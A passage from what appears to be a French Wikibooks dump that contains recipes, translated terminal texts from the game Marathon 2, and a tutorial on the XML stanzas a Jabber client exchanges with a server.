à la viande, disposer une deuxième couche d'aubergines, répartir le restant de garniture à la viande, finir par une couche d'aubergines. Napper enfin de la sauce au fromage. Faire gratiner au four pendant 45 min. ---- Retour aux [[Cuisine:Recettes de cuisine grecque|recettes de cuisine grecque]] / au [[Livre_de_Cuisine|sommaire]] ---- Cuisine:Tzadziki 4545 16545 2005-07-15T09:38:20Z 82.252.77.105 == Ingrédients == * 5 petits concombres libanais * 500 grammes de yogourt nature * 3 gousses d'ail pilées * 1 cc d'aneth frais haché * 3 cs d'huile d'olive * sel, poivre noir au moulin == Préparation == #Peler et hacher les concombres. #Placer la pulpe dans un linge propre et presser pour en extraire le liquide #Verser la pulpe égouttée dans un grand saladier. #Ajouter le yogourt, l'ail, l'aneth et l'huile d'olive. Mélanger. #Saler, poivrer. #Couvrir d'un film alimentaire et placer le saladier au réfrigérateur pendant 2 heures. #Se déguste sur des petits pains grecs, la « pita », réchauffés rapidement au four. A servir frais, relevé d'ail. ---- Retour aux [[Cuisine:Recettes de cuisine grecque|recettes de cuisine grecque]] / au [[Livre_de_Cuisine|sommaire]] ---- Livre de Cuisine/Tartes et pizzas/Tarte landaise 4546 46273 2006-06-28T10:52:09Z Nicombo 684 [[Catégorie:Tartes et pizzas|Tarte landaise]] [[Image:Tarte landaise.jpg|200px]][[Image:Preparation tarte landaise1.jpg|200px]][[Image:Preparation tarte landaise2.jpg|200px]] C dièze 4548 16566 2005-07-15T13:10:08Z Yann 2 #REDIRECT [[Programmation C sharp]] #REDIRECT [[Programmation C sharp]] Enseignement du français 4549 16589 2005-07-16T16:05:59Z Esope 99 Enseignement du français déplacé vers Français: Ce titre me semble plus approprié au contenu (explication sur la page de discussion) #redirect [[Français]] Modèle:Français Orthographe 4552 16612 2005-07-16T23:40:23Z Esope 99 suppression de la redirection - ce modèle est vide en attendant qu'on ajoute du contenu à la partie orthographe Catégorie:Langue 4553 32996 2006-02-15T22:09:32Z 62.194.241.152 [[commons:Template talk:Sisterlinks|Sisterlink project]] {{sisterlinks|Category:Languages}} Cette catégorie regroupe toutes les pages appartenant à des wikilivres ayant pour sujet les langues. [[cs:Kategorie:Jazyky]] [[de:Kategorie:Sprachen]] [[en:Category:Languages]] [[es:Categoría:Idiomas]] [[it:Categoria:Lingue]] [[ja:Category:語学]] [[nl:Categorie:Taal]] [[pl:Kategoria:Języki]] [[pt:Categoria:Línguas]] [[ru:Category:&#1071;&#1079;&#1099;&#1082;&#1080;]] [[simple:Category:Languages]] [[fi:Luokka:Kielet]] [[sv:Kategori:Språk]] Katalanisch: L'alfabet 4571 16679 2005-07-18T13:22:12Z Yann 2 Katalanisch: L'alfabet déplacé vers Katalanisch: L'alphabet: ortho #redirect [[Katalanisch: L'alphabet]] Marathon - Marathon 2 - Volunteers 4573 20160 2005-08-27T14:19:10Z W'rkncacnter 327 /* Terminal 2 */ __NOTOC__ <center> {| style="border:thin black solid;" cellspacing="10" |style="text-align:center;font-weight:bold;" | Les terminaux de Marathon |- |style="font-size:85%"| [[Marathon - Marathon 1|Marathon]] [[Marathon - Marathon 2|Marathon 2]] :[[Marathon - Marathon 2 - Lh'owon|Lh'owon]] :[[Marathon - Marathon 2 - Volunteers|Volunteers]] ::[[Marathon - Marathon 2 - Volunteers#What About Bob?|4. What About Bob?]] ::[[Marathon - Marathon 2 - Volunteers#Come and Take your Medicine|5. Come and Take your Medicine]] ::[[Marathon - Marathon 2 - Volunteers#We're Everywhere|6. We're Everywhere]] :[[Marathon - Marathon 2 - Garrison|Garrison]] :[[Marathon - Marathon 2 - Citadel|Citadel]] :[[Marathon - Marathon 2 - Durandal|Durandal]] :[[Marathon - Marathon 2 - Captured|Captured]] :[[Marathon - Marathon 2 - Blake|Blake]] :[[Marathon - Marathon 2 - Simulacrums|Simulacrums]] :[[Marathon - Marathon 2 - S'pht'Kr|S'pht'Kr]] :[[Marathon - Marathon 2 - Écran final|Écran final]] [[Marathon - Marathon Infinity|Marathon Infinity]] |} </center> == What About Bob? == === Terminal 1 : 1{{er}} message === {{Terminal MarathonR 1||<CMND OVERRIDE <u>&@1494</u>>}} {{Terminal MarathonV 2|| Il y avait beaucoup d'humains en stase à bord du vaisseau Pfhor que j'ai capturé avec l'aide des S'pht à Tau Ceti, destinés à l'esclavage dans l'empire Pfhor. Quand j'ai vu que la colonie était sur le point d'être détruite, je ne les ai pas réveillés avant notre départ pour Lh'owon. J'ai réalisé qu'ils pourraient devenir utiles. J'ai ramené à la vie ces colons et demandé des volontaires avec les termes suivants : assistez nous et contrôlez votre propre destinée, refusez et opposez vous à un retour indéfini dans les chambres d'hibernation Pfhor. Peu ont refusé. }} {{Terminal MarathonV 2|| Ma première attaque terrestre contre la garnison Pfhor s'est déroulée il y a quelques heures, mais fut un large échec. Fondamentalement, l'attaque a échoué parce que les Bob ne sont pas ignifugés et que les Pfhor ont inondé la zone avec de la lave. Ca m'a énervé, alors j'ai localisé leur station de pompage géothermique souterraine et mis au point un plan. }} {{Terminal MarathonV 2|| La première partie a déjà été exécutée : j'ai créé un trou dans le toit de ce complexe en le bombardant avec un petit astéroïde. Ensuite je t'ai lâché avec quelques humains dans le trou, où tu attend la seconde partie du plan. En haut des escaliers, depuis ta position actuelle, il y a un conduit de ventilation qui mène à la station géothermique souterraine. Comme seul toi survivrait à la chute, tu va devoir finir la mission en solo. Une fois que tu auras pénétré dans la base, cherche un terminal où je pourrais te donner la suite des instructions. }} {{Terminal MarathonR 3||<CMND OVERRIDE <u>&@1494</u>>}} === Terminal 1 : 2{{nd}} message === {{Terminal MarathonR 1||<CMND OVERRIDE <u>&@1494</u>>}} {{Terminal MarathonV 2|| Tycho a atterri ici avec les Pfhor, comme je le suspectait. Il a laissé un message pour moi dans l'un des ordinateurs tertiaires, encodé de manière à ce que seule l'une des trois IA du Marathon puisse le décoder. Pauvre Leela. La seule chose intéressante qu'a dite Tycho est que Leela a été démantelée et emmenée dans le monde natal des Pfhor pour y être étudiée, avec la plupart des autres systèmes informatiques du Marathon. Leela était si fidèle et a tant tenté ; elle méritait mieux. }} {{Terminal MarathonR 3||<CMND OVERRIDE <u>&@1494</u>>}} === Terminal 2 : 1{{er}} message === {{Terminal MarathonR 1||<CMND THRESHOLD <u>92%</u>>}} {{Terminal MarathonV 2|| <CMND THRESHOLD <u>92%</u>> L'interrupteur à ta droite active les passerelles menant aux deux panneaux d'accès isolés au centre des bassins de lave. Élève les passerelles, ouvre les panneaux d'accès et détruis les circuits électriques cachés derrière. Le premier panneau maintient la puissance de la pompe à lave, empêchant la base d'être inondée ; le second contrôle divers mécanismes de sécurité. Détruis les deux, mais fais gaffe de d'abord t'occuper de celui qui est le plus proche de ce terminal, ou tu sera coincé. Si tu a déjà utilisé toutes tes grenades, tu peut le faire à la vieille manière : avec ton poing. Dans tous les cas, tu va devoir d'échapper du complexe en vitesse. }} {{Terminal MarathonR 3||<CMND THRESHOLD <u>92%</u>>}} === Terminal 2 : 2{{nd}} message === {{Terminal MarathonR 1||<CMND THRESHOLD <u>92%</u>>}} {{Terminal MarathonV 2|| Tricheur. Arrête de tricher et joue pour de vrai ! }} {{Terminal MarathonR 3||<CMND THRESHOLD <u>92%</u>>}} === Terminal 3 : 1{{er}} message === {{Terminal MarathonR 1||<CMND OVERRIDE <u>&</u>@<u>85f2</u>>}} {{Terminal MarathonV 2|| <CMND OVERRIDE <u>&</u>@<u>85f2</u>> Excuse-moi pour le bain de lave, mais il n'y avait pas d'autres façons. Quand les sécurités ont étés désactivées, la lave s'est déversée dans la base, recouvrant la principale station électrique Pfhor sur Lh'owon. Hlford se prendra quelques douches froides avant de réparer ceci. Quoiqu'il en soit, Robert Blake et ses hommes ont besoin de ton aide pour nettoyer les quelques Pfhor qui ont réussi à s'échapper à l'inondation de leur base. Blake est le chef populiste des colons, mais vous ne vous êtes jamais rencontrés sur Tau Ceti. Reviens ici quand la zone sera sécurisée. }} {{Terminal MarathonR 3||<CMND OVERRIDE <u>&</u>@<u>85f2</u>>}} === Terminal 3 : 2{{nd}} message === {{Terminal MarathonR 1||<CMND OVERRIDE <u>&</u>@<u>85f2</u>>}} {{Terminal MarathonV 2|| Quand mon vaisseau appartenait encore aux Pfhor, ceux-ci l'appelaient ''Sfiera'', du nom de leur déesse de la foudre et de la passion. Quand tu nous a aidé à prendre son contrôle sur Tau Ceti, les S'pht l'ont renommé ''Narhl'Lar'', "Liberté et vengeance". Je l'appelle le ''Boomer''. }} {{Terminal MarathonR 3||<CMND OVERRIDE <u>&</u>@<u>85f2</u>>}} == Come and Take your Medicine == === Terminal 1 : 1{{er}} message === {{Terminal MarathonR 1||gjk//H-v58-w12pcgbk}} {{Terminal MarathonV 2|| Le ''Boomer'' se traîne avec des anciens colons qui viennent d'être réveillés de leur stase, et le vaisseau est trop chargé pour être manoeuvrable en bataille. J'ai décidé d'établir une base humaine sur la planète, près de la Citadelle de l'Antiquité S'pht. Je peut difficilement tolérer les humains : lents, stupides et énervants. Leur seule contribution à mon existence fut la découverte fortuite m'ayant rendu Rampant. Pourtant j'ai averti Sol de son invasion imminente, et j'ai même été jusqu'à montrer à l'UESG comment construire des missiles capables de fusion en chaîne. Je ressent une loyauté étrange envers les humains. C'est peut-être parce que j'aime manipuler les humains que j'ai envie de les sauvegarder. Mes sentiments et pensées passent constamment d'un état à leur opposé binaire. }} {{Terminal MarathonV 2|| gjk//H-v58-w12pcgbk Assez. Ton premier objectif sera de désactiver les défenses qui fonctionnent tout autour du fort. Tu devras faire extrêmement attention de rester sur le chemin que j'ai tracé parce que c'est un bâtiment fortement gardé, et ta présence va les offenser. Au long du chemin il y a des portes dont les commandes sont placées aux alentours. Les ouvrir ne devrait pas être trop dur. Une fois que tu est dans la salle de contrôle, ouvre les panneaux et détruit les circuits placés derrière. Cela désactivera les défenses qui couvrent notre futur QG, nous permettant de commencer l'attaque. }} {{Terminal MarathonR 3||gjk//H-v58-w12pcgbk}} === Terminal 2 === {{Terminal MarathonJ 1||%94301=30290}} {{Terminal MarathonJ 2|| /-/Traducteur-Spht-Actif/-/ Je suis F'tha, un compileur S'pht, vos contrats sont gravés profondément dans la conscience S'pht. Les vils (?horribles) Pfhor nous réduisent en esclavage pour faire de nous de dangereuses (?douloureuses) machines, mais nous leur résistons. La liberté ne sera pas possible sans les membres sacrés. Nous sommes le corps et eux notre esprit. Trouvez les et tous les S'pht s'allieront autour de vous. }} {{Terminal MarathonJ 2|| Notre guide sacré (?esprit) doit exister parce que nous existons. Nous avons mis du temps à réaliser celà. Les mécanismes seront en place pour détruire les Pfhor (?empire) quand tous les esprits seront unis. Vous me détruisez, mais libérez toute la race. }} {{Terminal MarathonJ 2||Lhar 103-30}} === Terminal 1 : 2{{nd}} message === {{Terminal MarathonR 1||gjk//H-v58-w12pcgbk}} {{Terminal MarathonV 2|| gjk//H-v58-w12bernal Ca doit sembler particulier de combattre les S'pht, quand ce sont eux que tu cherche à délivrer. Tu doit te dire qu'ils se battent délibérément mal, qu'ils résistent constamment à leurs maître. Je le sait parce que j'ai été en contact avec eux durant ces dix-sept dernières années. Les Pfhor ne se rendent pas compte du désastre qui leur arrivera si le onzième clan est retrouvé. Les humains se sont attirés des ennuis en capturant leur nouveau centre de commandement. '''Surpris ?''' Tu les assisteras. }} {{Terminal MarathonR 3||gjk//H-v58-w12pcgbk}} == We're Everywhere == === Terminal 1 : 1{{er}} message === {{Terminal MarathonR 1||65124.134.12##<CMND PRAMA &49c2>}} {{Terminal MarathonV 2|| 65124.134.12##<CMND PRAMA &49c2> Il y a deux cent ans, lors du premier voyage du Marathon de la Terre à Tau Ceti, Tycho m'a accusé d'être trop sarcastique. J'ai coupé les communications avec lui pendant six ans après cela, le laissant avec seulement Leela à qui parler. Je pense qu'il me tient toujours la rancune. Tu ne trouve pas que je suis sarcastique, non ? Ca ne fais rien. Parlons de Tycho, j'ai détecté sa présence dans le réseau Pfhor. Je suppose qu'il utilise le système de communication Pfhor ultra rapide pour entrer à distance dans le réseau d'un système proche. Son arrivée ne peut qu'annoncer l'arrivée de renforts Pfhor. }} {{Terminal MarathonV 2|| 65124.134.12##<CMND PRAMA &49c2> Les Pfhor ont presque étés exterminés ici, mais j'ai besoin que tu ouvre deux énormes portes extérieures afin que nous puissions faire atterrir des machines lourdes par navettes. As-tu déjà essayé ton nouveau pistolet à fusion ? Mes S'pht l'on reconstruit dans le but unique de court-circuiter les machines construites par les Pfhor. Reviens ici quand tu auras ouvert les portes. }} {{Terminal MarathonR 3||65124.134.12##<CMND PRAMA &49c2>}} === Terminal 2 === {{Terminal MarathonB 1||'''readdress'''2^knstnt 49-f}} {{Terminal MarathonB 2|| [4<br /> l9c                            '''11''' '''j'était laissé derrière'''                &ci1lc '''nos chemins conv^rgent''' '''nos destins sont partagés''' '''la chance se déchire et se courbe''' n % }} {{Terminal MarathonB 3||*&#4xption '''fail'''W$% 434}} === Terminal 1 : 2{{nd}} message === {{Terminal MarathonR 1||R-cdiurnal<39c.0.>}} {{Terminal MarathonV 2|| Tu te rappelle des simulacres humains fabriqués par les Pfhor lors de l'invasion de Tau Ceti ? Le système bureaucratique Pfhor élaboré a un ministère pour l'Éradication par Imitation des Espèces Hostiles Inapropriées à l'Esclavage, le ''Phan Pfhar Sfaern-Wsawn Tshah'', qui est responsable de la conception et de la construction de telles machines. Ils ont construit méticuleusement dix-sept différents types de corps humains, qu'ils ont mixé avec soixante-et-un visages différents. Les bombes sur pied résultantes étaient en tout point indistinguables des vrais humains. Leur seule erreur fut d'habiller chacun des six milles simulacres en combinaison ordinaire verte de technicien du Marathon, qui eut l'effet amusant d'inciter tous les vrais techniciens à errer nus dans le vaisseau pendant l'invasion. }} {{Terminal MarathonR 3||R-cdiurnal<39c.0.>}} <center>[[Marathon - Marathon 2 - Lh'owon|< Lh'owon]] • [[Marathon - Marathon 2 - Garrison|Garrison >]]</center> Cuisine potjevleesch 4574 16685 2005-07-18T13:26:18Z Yann 2 Cuisine potjevleesch déplacé vers Cuisine:Potjevleesch: espace de nommage #redirect [[Cuisine:Potjevleesch]] Modèle:Encours 4575 16706 2005-07-18T15:37:51Z Yann 2 #REDIRECT [[Modèle:EnCours]] #REDIRECT [[Modèle:EnCours]] Image:Region on complex plane.png 4576 16716 2005-07-18T16:09:31Z Jim2k 289 Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Region_on_complex_plane.PNG Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Region_on_complex_plane.PNG Communiquer avec un Serveur Jabber 4578 24738 2005-11-02T09:26:26Z Antoine 495 /* Récupérer la liste des contacts */ Orthographe =Introduction= Ce livre a pour but de vous expliquer comment communiquer avec un serveur Jabber pour la création d'un client. Il n'a pas pour but de montrer des lignes de programmations mais seulement de vous expliquer les échanges entre le client et le serveur. Les échanges entre le client et le serveur se font en XML et ont donc l'avantage d'être faciles à parser. La documentation sur le sujet la plus précise est sans doute : [http://www.ietf.org/rfc/rfc3920.txt rfc3920] et [http://www.ietf.org/rfc/rfc3921.txt rfc3921]. Nous considérons également que vous connaissez déjà Jabber, en cas de doute, vous pouvez consulter [http://fr.wikipedia.com/wiki/Jabber Wikipedia:Jabber]. Les indentations ne sont ici que pour faciliter la lisibilité des exemples, elles ne sont pas obligatoires. Vous pourrez facilement tester ces exemples grâce à une session telnet sur un serveur Jabber : telnet jabber.org 5222 =Les bases= Ce chapitre regroupe les actions élementaires permettant de se connecter à un serveur jabber et de discuter avec ses contacts en connaissant leur status. ==Initialisation de la connexion== Notre client va envoyer ceci : <?xml version='1.0' encoding='UTF-8'?> Les échanges entre le client et le serveur se font en XML. On peut également préciser l'encodage des caractères. <stream:stream xmlns:stream='http://etherx.jabber.org/streams' version='1.0' xmlns='jabber:client' to='jabber.org' > On ouvre un "stream" qui sera ouvert tout au long de la connexion au serveur. Le client devra renseigner certains paramètres obligatoirement : * xmlns='jabber:client' : indique au serveur que notre client est effectivement un client et non un serveur. * xmlns:stream='http://etherx.jabber.org/streams' * to : indique l'adresse du serveur auquel on s'adresse et il est aussi conseillé de renseigner d'autres paramètres : * version : indique la version du protocol utilisé * xml:lang : indique la langue utilisée par défaut Le serveur doit nous répondre quelque chose comme ceci : <stream:stream xmlns='jabber:client' xml:lang='en' xmlns:stream='http://etherx.jabber.org/streams' from='jabber.org' id='166C34A3F3E91' > Mais s'il y a un problème, celui-ci peut aussi vous envoyer un message tel que : <stream:error> ==Identification== Maintenant que nous sommes connectés au serveur, nous devons lui dire qui on est pour pouvoir discuter avec nos contacts. <iq type="get" id="auth_1" to="jabber.org" > <query xmlns="jabber:iq:auth"> <username>toto</username> </query> </iq> La valeur de id n'est pas obligatoirement "auth_1" mais le serveur va nous répondre en réutilisant cet id pour nous indiquer à quoi il répond et donc il faut le conserver. Le type "get" nous indique que nous demandons une information au serveur. Et en même temps, nous indiquons notre identité (balise query). Le serveur va alors nous indiquer les informations nécessaire à la connexion. <iq id='auth_1' type='result'> <query xmlns='jabber:iq:auth'> <username>toto</username> <password/> <digest/> <resource/> </query> </iq> Tous ces éléments ne sont pas obligatoires, il est inutile de préciser à la fois password et digest. On peut alors lui envoyer les informations pour s'identifier : <iq type="set" id="auth_2" to="jabber.org" > <query xmlns="jabber:iq:auth"> <username>toto</username> <password>mot2passe</password> <resource>maison</resource> </query> </iq> Encore une fois, la valeur de id n'est pas obligatoirement "auth_2". Le serveur doit vous répondre en cas de réussite : <iq id='auth_2' type='result'/> Sinon vous pourriez avoir quelque chose comme ceci : <iq type='error' id='auth_2'> <query xmlns='jabber:iq:auth'> <username>toto</username> <password>mot2passe</password> <resource>maison</resource> </query> <error type='auth' code='401'><not-authorized xmlns='urn:ietf:params:xml:ns:xmpp-stanzas'/> <text xmlns='urn:ietf:params:xml:ns:xmpp-stanzas'>Unauthorized</text> </error> </iq> ==Changer son Statut== Pour le moment, on est certes identifié au serveur mais personne ne sait que vous êtes en ligne. Pour cela, vous devez simplement indiquer votre statut. C'est la balise <presence> qui permet cela. <presence> <show>dnd</show> <status>Occupé</status> <priority>1</priority> </presence> Lorsqu'il n'y a pas les balises show et status cela veut dire qu'on se dit simplement en ligne. D'ailleurs en général, la première chose faite après l'identification est du type : <presence> <priority>1</priority> </presence> La balise priority n'est pas obligatoire, cependant, en cas d'omission, cela revient à lui donner la valeur 0 : <presence> <show>dnd</show> <status>Occupé</status> </presence> équivaut à : <presence> <show>dnd</show> <status>Occupé</status> <priority>0</priority> </presence> * show possède 4 états possibles : - away : Absent - chat : Veut discuter - dnd : Ne pas déranger (occupé) - xa : Non disponible * presence possède également la propriété type qui permet : - de se rendre invisible : <presence type="invisible" /> - de se déconnecter : <presence type="unavailable" /> ==Statut de ses contacts== Il n'y a pas besoin de les demander au serveur, du moment où vous êtes en ligne, vous recevrez des messages de présence similaire à ceux que vous pourriez envoyer à la différence près que ceux-là contiennent une proprieté "from" (et "to" mais qui ne vous servira pas) : <presence to='dupont@im.apinc.org' from='toto@jabber.org/ecole'> <show>away</show> <status>Je suis de retour dans 1 minute !</status> <priority>5</priority> </presence> ==Récupérer la liste des contacts== Pour demander la liste de ses contacts, il faut envoyer : <iq type="get" id="aaab" > <query xmlns="jabber:iq:roster"/> </iq> Encore une fois, vous pouvez mettre ce que vous voulez comme id mais celui-ci doit être unique. Le serveur peut répondre quelque chose comme ceci : <iq from='toto@jabber.org/ecole' type='result' id='aaab'> <query xmlns='jabber:iq:roster'> <item jid='tintin@jabber.org' subscription='both' name='Tintin'/> <item subscription='both' name='Dupont' jid='dupont@im.apinc.org'> <group>Amis</group> </item> </query> </iq> Attention, un contact peut appartenir à differents groupes. Dans ce cas, vous aurez plusieurs balises <group> contenant les différents groupes auxquels il appartient. ==Envoyer des messages== Il existe différents types de messages : * chat : Le plus courrament employé, c'est celui de la messagerie instantanée, il est fait pour une conversation 1 à 1. * error : Permet au serveur de vous envoyer un message d'erreur. * groupchat : Utile pour une conversation à plusieurs. * headline : Permet au serveur d'envoyer des informations. * normal : Envoit un message similaire à un email (sujet et message) Exemple d'envois de message de type chat : <message to="toto@jabber.org" type="chat"> <body>Salut !</body> </message> Exemple de réception d'un message de type chat : <message from="tintin@jabber.org/chateau" type="chat"> <body>Salut !</body> </message> ====Envoyer une notification de frappe ([http://www.jabber.org/jeps/jep-0022.html JEP-0022])==== Pour cela c'est très simple, il suffit d'envoyer un message qui ne contient pas <body> mais : <x xmlns='jabber:x:event'> <composing/> </x> Il peut être souhaitable de préciser un id : <message from='romeo@montague.net' to='juliette@capulet.com/balcon'> <x xmlns='jabber:x:event'> <composing/> <id>message22</id> </x> </message> Si Roméo fait une pause, alors il suffit de renvoyer : <message from='romeo@montague.net' to='juliette@capulet.com/balcon'> <x xmlns='jabber:x:event'> <id>message22</id> </x> </message> Ceci a pour effet d'annuler la première information indiquant que Roméo est en train d'écrire. ====Envoyer une notification de status de conversation ([http://www.jabber.org/jeps/jep-0085.html JEP-0085])==== ==== Envoyer du texte en XHTML ([http://www.jabber.org/jeps/jep-0071.html JEP-0071]) ==== Pour le moment, vous ne savez qu'envoyer des messages texte... Donc vous ne pouviez pas changer de police, de couleur d'ecriture etc... Et bien c'est ce que nous allons voir maintenant grace à la possibilité d'envoyer des messages en XHTML. Exemple simple : <message to="toto@jabber.org" type="chat"> <body>Salut !</body> &lt;html xmlns='http://jabber.org/protocol/xhtml-im'> &lt;body xmlns='http://www.w3.org/1999/xhtml'> &lt;p style='font-weight:bold'>Salut !&lt;/p> &lt;/body> &lt;/html> </message> Vous retrouvez des éléments identiques à l'envois d'un message en texte simple : <body>Salut !</body> . En effet, cela permet aux clients qui ne gerent pas cette fonctionnalitée d'afficher le message quand même. Le message est ensuite répété en XHTML. Vous pouvez aller consulter les attributs de chaque balise directement dans le JEP. Regardez bien ceux qui sont obligatoires, recommandés et déconseillés. A noter la possibilité d'inserer des images mais attention, des clients peuvent préférer afficher le contenu de l'attribut alt à la place de l'image. Pour savoir si le client de votre contact supporte le xhtml, il suffit de lui demander ce qu'il supporte : <iq type='get' from='toto@jabber.org/ecole' to='tintin@jabber.fr/lune' id='disco1'> <query xmlns='http://jabber.org/protocol/disco#info'/> </iq> Si le client le supporte, il vous le dira : <iq type='result' from='toto@jabber.org/ecole' to='tintin@jabber.fr/lune' id='disco1'> <query xmlns='http://jabber.org/protocol/disco#info'> ... <feature var='http://jabber.org/protocol/xhtml-im'/> ... </query> </iq> ==Enregistrement d'un nouveau compte ([http://www.jabber.org/jeps/jep-0077.html JEP-0077])== La connexion au serveur doit juste être initialisée mais vous n'avez pas à vous identifier (ce qui est logique). Exemple d'enregistrement : <iq type="set" to="server.org" id="aab0a" > <query xmlns="jabber:iq:register"> <username>Login</username> <password>MotDePasse</password> <email>login@mailserver.org</email> </query> </iq> Ceci va créer un nouveau compte sur le serveur jabber "server.org" avec le pseudo "Login". Ainsi le JID de ce nouveau compte sera login@server.org. L'attribut id permet de connaitre la réponse du serveur, ce qui est très important ici mais il est facultatif. Tout le reste est obligatoire excepté l'email. D'autres balises peuvent aussi être renseigner : nick, name, first, last, address, city, state, zip, phone, url, date, misc... (voir le JEP officiel) Exemple d'erreur : <iq type='error' id='aab0a'> <query xmlns='jabber:iq:register'> <username>Login</username> <password>MotDePasse</password> <email>login@mailserver.org</email> </query> <error code='409'>Username Not Available</error> </iq> Exemple en cas de succés : <iq type='result' id='aab0a'/> ==Fermeture d'un compte== Si vous n'utilisez plus un compte jabber, vous pouvez décider de le supprimer. Pour cela, il vous faut déjà être connecté et identifié avec votre mot de passe. Ensuite il suffit d'envoyer : <iq type="set" to="server.org" id="aab0a" > <query xmlns="jabber:iq:register"> <remove/> </query> </iq> ==Changement de mot de passe== Pour une raison ou un autre, vous pouvez vouloir changer le mot de passe de votre compte. Pour cela, il vous faut être déjà connecté et identifié avec votre mot de passe. Ensuite, il suffit d'envoyer : <iq type="set" to="server.org" id="aab0a" > <query xmlns="jabber:iq:register"> <username>Login</username> <password>NouveauMotDePasse</password> </query> </iq> =Gestion des contacts= Jabber permet de gérer les contacts par une liste de contact stockée sur le serveur mais à cela se rajoute un système d'autorisation permettant d'accepter que tel ou tel contact puisse voir votre status. ==Autorisations== ====Les différents niveaux d'autorisation==== * "none" -- Ni l'utilisateur ni le contact n'ont d'autorisation pour se voir. * "to" -- L'utilisateur a l'autorisation de voir la présence du contact mais le contact lui ne l'a pas. * "from" -- Le contact a l'autorisation de voir l'utilisateur mais l'utilisateur lui ne l'a pas. * "both" -- L'utilisateur et le contact ont tous deux l'autorisation de connaître l'état de présence de l'autre. ====Types pour <presence />==== L'attribut type est optionnel. Une balise de presence sans attribut est utilisé pour signaliser au serveur le statut de l'expéditeur. La balise presence permet aussi de gérer les autorisations. L'attribut type peut avoir en plus ces valeurs : * subscribe : L'expéditeur veut avoir l'autorisation de voir l'état du contact. * subscribed : L'expéditeur a accepté de recevoir le statut de présence du contact. * unsubscribe : L'expéditeur supprime l'autorisation de l'autre. * unsubscribed : La demande d'autorisation a été refusé ou une précedente autorisation a été annulée. ====Demander une autorisation==== <presence type='subscribe' to='toto@im.apinc.org'> <status>Je voudrais t'ajouter à ma liste de contacts.</status> </presence> La balise status n'est pas obligatoire mais permet d'envoyer un message en même temps que la demande. Toto va recevoir ceci : <presence type='subscribe' to='toto@im.apinc.org' from='tintin@jabber.org'> <status>Je voudrais t'ajouter à ma liste de contacts.</status> </presence> ====Accepter une autorisation==== <presence type="subscribed" to="tintin@jabber.org" /> ====Refuser une autorisation==== <presence type="unsubscribed" to="tintin@jabber.org" /> ==Gestion de la contact-liste== ====Ajouter un contact==== <iq type="set" id="ac90a" > <query xmlns="jabber:iq:roster"> <item jid="tintin@jabber.org" /> </query> </iq> L'attribut id est facultatif mais en cas d'erreur, il est bon de toujours spécifier un id pour savoir d'où vient l'erreur. D'autres informations peuvent être ajoutées : <iq type="set" id="ac90a" > <query xmlns="jabber:iq:roster"> <item name='tintin' jid='tintin@jabber.org'> <group>Amis</group> </item> </query> </iq> En cas de succés, le serveur doit vous répondre quelque chose comme ceci : <iq to='toto@im.apinc.org/ecole' from='toto@im.apinc.org/ecole' type='result' id='ac90a'/> ====Supprimer un contact==== <iq type="set" id="ad8fa" > <query xmlns="jabber:iq:roster"> <item subscription="remove" jid="tintin@jabber.org" /> </query> </iq> Notez à la différence de l'ajout d'un contact, l'attribut subscription avec la valeur "remove" qui indique la suppression du jid spécifié. ====Modifier un contact==== Pour modifier un contact, il suffit d'ajouter à nouveau ce contact mais avec les nouvelles options (groupe et nom). ==Procédure complète pour une autorisation mutuelle== ====Vous demandez en premier==== Ajout du contact dans la contact-liste : <iq type="set" id="ac90a" > <query xmlns="jabber:iq:roster"> <item jid="tintin@jabber.org" /> </query> </iq> Demande d'inscription : <presence type='subscribe' to='tintin@jabber.org'> <status>Je voudrais t'ajouter à ma liste de contacts.</status> </presence> [Réception d'une autorisation et d'une demande d'autorisation] Envoi d'une autorisation : <presence type='subscribed' to='tintin@jabber.org' /> ====Vous recevez une demande d'autorisation==== Ajout du contact dans la contact-liste : <iq type="set" id="ac90a" > <query xmlns="jabber:iq:roster"> <item jid="tintin@jabber.org" /> </query> </iq> Vous demandez à votre tour une autorisation : <presence type='subscribe' to='toto@im.apinc.org' /> Vous acceptez la sienne : <presence type='subscribed' to='toto@im.apinc.org' /> [reception d'une autorisation] = Fonctionnalités Avancées = == Recevoir une VCard == == Publier sa VCard == == Informations sur le Client ([http://www.jabber.org/jeps/jep-0092.html JEP-0092]) == Le JEP-0092 permet de demander des informations supplémentaires sur les logiciels utilisés par vos contacts. On peut récuperer 3 informations qui sont le nom, la version et le système d'exploitation sur lequel celui ci tourne. Pour demander, c'est très simple. Mais vous devrez spécifier la ressource. <iq type="get" to="toto@jabber.org/ecole" id="version_1" > <query xmlns="jabber:iq:version" /> </iq> Si le client peut lui répondre, alors vous recevrez une réponse, par exemple : <iq from="toto@jabber.org/ecole" type="result" to="tintin@im.apinc.org/lune" id="version_1" > <query xmlns="jabber:iq:version"> <name>Psi</name> <version>0.10-CVS (Jul 27 2005)</version> <os>Debian GNU/Linux (testing/unstable)</os> </query> </iq> Reperez bien ici les 3 balises name, version et os qui correspondent respectivement au nom du client, de sa version et du systeme d'exploitation. Le JEP-0092 n'en prévoit pas d'autres. Modèle:Programmation C C plus plus Pointeurs et références 4581 16745 2005-07-18T23:34:58Z Max81 419 {{En cours de copie|site=http://casteyde.christian.free.fr/online/cours_cpp/|licence=[[GFDL]]}} {| style="float:right;border:thin black solid;width:250px;" | colspan="2" style="text-align:center;font-weight:bold;" | Cours de C/C++ |- | colspan="2" style="text-align:center;"| [[Programmation C C plus plus Le langage|^]] |- | colspan="2" | [[Programmation C C plus plus Pointeurs et références|Pointeurs et références]] |- | style="width:20px;" | || [[Programmation C C plus plus Notion d'adresse|Notion d'adresse]] |- | style="width:20px;" | || [[Programmation C C plus plus Notion de pointeur|Notion de pointeur]] |- | style="width:20px;" | || [[Programmation C C plus plus Déréférencement, indirection|Déréférencement, indirection]] |- | style="width:20px;" | || [[Programmation C C plus plus Notion de référence|Notion de référence]] |- | style="width:20px;" | || [[Programmation C C plus plus Lien entre les pointeurs et les références|Lien entre les pointeurs et les références]] |- | style="width:20px;" | || [[Programmation C C plus plus Passage de paramètres par variable ou par valeur|Passage de paramètres par variable ou par valeur]] |- | style="width:20px;" | || [[Programmation C C plus plus Références et pointeurs constants et volatiles|Références et pointeurs constants et volatiles]] |- | style="width:20px;" | || [[Programmation C C plus plus Arithmétique des pointeurs|Arithmétique des pointeurs]] |- | style="width:20px;" | || [[Programmation C C plus plus Utilisation des pointeurs avec les tableaux|Utilisation des pointeurs avec les tableaux]] |- | style="width:20px;" | || [[Programmation C C plus plus Les chaînes de caractères : pointeurs et tableaux à la fois !|Les 